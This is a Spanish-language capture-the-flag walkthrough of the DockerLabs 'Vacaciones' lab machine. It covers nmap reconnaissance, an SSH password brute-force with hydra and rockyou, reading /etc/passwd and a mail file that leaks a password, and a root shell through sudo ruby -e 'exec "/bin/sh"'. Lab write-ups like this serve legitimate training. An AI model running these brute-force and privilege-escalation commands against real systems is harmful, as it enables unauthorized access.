Vacaciones
DockerLabs es una plataforma gratuita diseñada para practicar hacking ético al alcance de todo el mundo utilizando Docker. DockerLabs ofrece un entorno seguro y accesible para desplegar laboratorios vulnerables de la forma más eficiente y sencilla posible.
Information Gathering
El análisis inicial comienza con el comando ping para confirmar la accesibilidad de la máquina objetivo en la red.
1
2
3
4
5
6
7
/home/kali/Documents/dockerlabs/vacaciones:-$ ping -c 1 127.17.0.2
PING 127.17.0.2 (127.17.0.2) 56(84) bytes of data.
64 bytes from 127.17.0.2: icmp_seq=1 ttl=64 time=0.062 ms
--- 127.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.062/0.062/0.062/0.000 ms
Realizo un escaneo agresivo de puertos con nmap, lo que me permite identificar rápidamente todos los puertos abiertos.
1
2
3
/home/kali/Documents/dockerlabs/vacaciones:-$ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oG nmap1 127.17.0.2
Host: 127.17.0.2 () Status: Up
Host: 127.17.0.2 () Ports: 22/open/tcp//ssh///, 80/open/tcp//http/// Ignored State: closed (65533)
Profundizo en los puertos detectados, recopilando información detallada sobre los servicios y versiones en ejecución.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/home/kali/Documents/dockerlabs/vacaciones:-$ sudo nmap -sCV -p22,80 -vvv -oN nmap2 127.17.0.2
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 41:16:eb:54:64:34:d1:69:ee:dc:d9:21:9c:72:a5:c1 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzT6jdfo9QUX+9zCmyJQNTcAJXdhXByneCfqA9I7cXPBFGDGgxNAfQdoiqH3EMiTjf+maPlCNyVHGFl+sClQa5sJwdrbWZiJPxfxGkCtWiSrRdKKUKt/7rCMKMOy79bFRvurgss+57tsglfXkE9FPkZGd3mLruXt5Lyb+8uhFWpW58Df6ZUoSsJi7n0bkXNpEzJAzYHNmRRtv0RsGDFosi/t5KUCMPX67jbM8jsApIVwFIQBTiwzwGQn33G2ZoAJy/NYZ9dkuN2cKM2uItovo25daA+0/SxEfHqAHGquvoMKSj8pcX3qZVD7cGWlsn9c5QNzHRC2DZUSHrK7UIaG0r
| 256 f0:c4:2b:02:50:3a:49:a7:a2:34:b8:09:61:fd:2c:6d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMD2Z/ZotorXbs6zP9Sg9XenjSX0HIjYjoEH2cAV7aDoQXZKrssz5AJ98j8b4ntOPGfVehrcRv9X7lKswOea9HM=
| 256 df:e9:46:31:9a:ef:0d:81:31:1f:77:e4:29:f5:c9:88 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK/0ZadHoPSGKg31xFAhPaX854MMS09s5JgdzqmD3jCl
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
1
2
/home/kali/Documents/dockerlabs/vacaciones:-$ whatweb 127.17.0.2
http://127.17.0.2 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[127.17.0.2]
Web Analysis
Al analizar la página web, inicialmente parece estar completamente vacía.
Sin embargo, al inspeccionar el código fuente, encuentro el siguiente comentario:
Este comentario sugiere dos posibles nombres de usuario Juan
y Camilo
. Dado que no hay más pistas disponibles, decido enfocar la prueba en el servicio SSH para intentar un ataque de fuerza bruta utilizando uno de los nombres.
1
2
/home/kali/Documents/dockerlabs/vacaciones:-$ sudo hydra -l camilo -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 -t 10 -I
[22][ssh] host: 172.17.0.2 login: camilo password: password1
El ataque tiene éxito y obtengo las credenciales SSH.
1
2
3
4
/home/kali/Documents/dockerlabs/vacaciones:-$ ssh camilo@127.17.0.2
camilo@127.17.0.2's password:
$ id
uid=1001(camilo) gid=1001(camilo) groups=1001(camilo)
User pivoting
Inicio una shell interactiva.
1
$ script /dev/null -c /bin/bash
Analizo los usuarios disponibles en el sistema que tienen acceso a una shell.
Además, verifico usuarios configurados con sh
como su shell:
1
2
3
4
5
6
7
camilo@kali:~$ cat /etc/passwd | grep /bash$
root:x:0:0:root:/root:/bin/bash
camilo@kali:~$ cat /etc/passwd | grep /sh$
juan:x:1000:1000::/home/juan:/bin/sh
camilo:x:1001:1001::/home/camilo:/bin/sh
pedro:x:1002:1002::/home/pedro:/bin/sh
Dentro del directorio de correo de Camilo /var/mail/camilo
, descubro un archivo de texto que contiene un mensaje con información importante.
1
2
3
4
camilo@kali:~$ cat /var/mail/camilo/correo.txt
Hola Camilo,
Me voy de vacaciones y no he terminado el trabajo que me dio el jefe. Por si acaso lo pide, aquí tienes la contraseña: 2k84dicb
Este mensaje revela una contraseña asociada al usuario Juan
.
1
2
3
4
5
camilo@kali:~$ su juan
Password: 2k84dicb
$ id
uid=1000(juan) gid=1000(juan) groups=1000(juan)
Privilege Escalation
Inicio una shell interactiva.
1
$ script /dev/null -c /bin/bash
El usuario juan
puede ejecutar el binario /usr/bin/ruby
como root
sin necesidad de proporcionar una contraseña.
1
2
3
4
5
6
7
juan@kali:~$ sudo -l
Matching Defaults entries for juan on kali:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User juan may run the following commands on kali:
(ALL) NOPASSWD: /usr/bin/ruby
Según GTFOBins, el binario /usr/bin/ruby
permite ejecutar comandos arbitrarios como superusuario.
1
2
3
juan@kali:~$ sudo ruby -e 'exec "/bin/sh"'
# id
uid=0(root) gid=0(root) groups=0(root)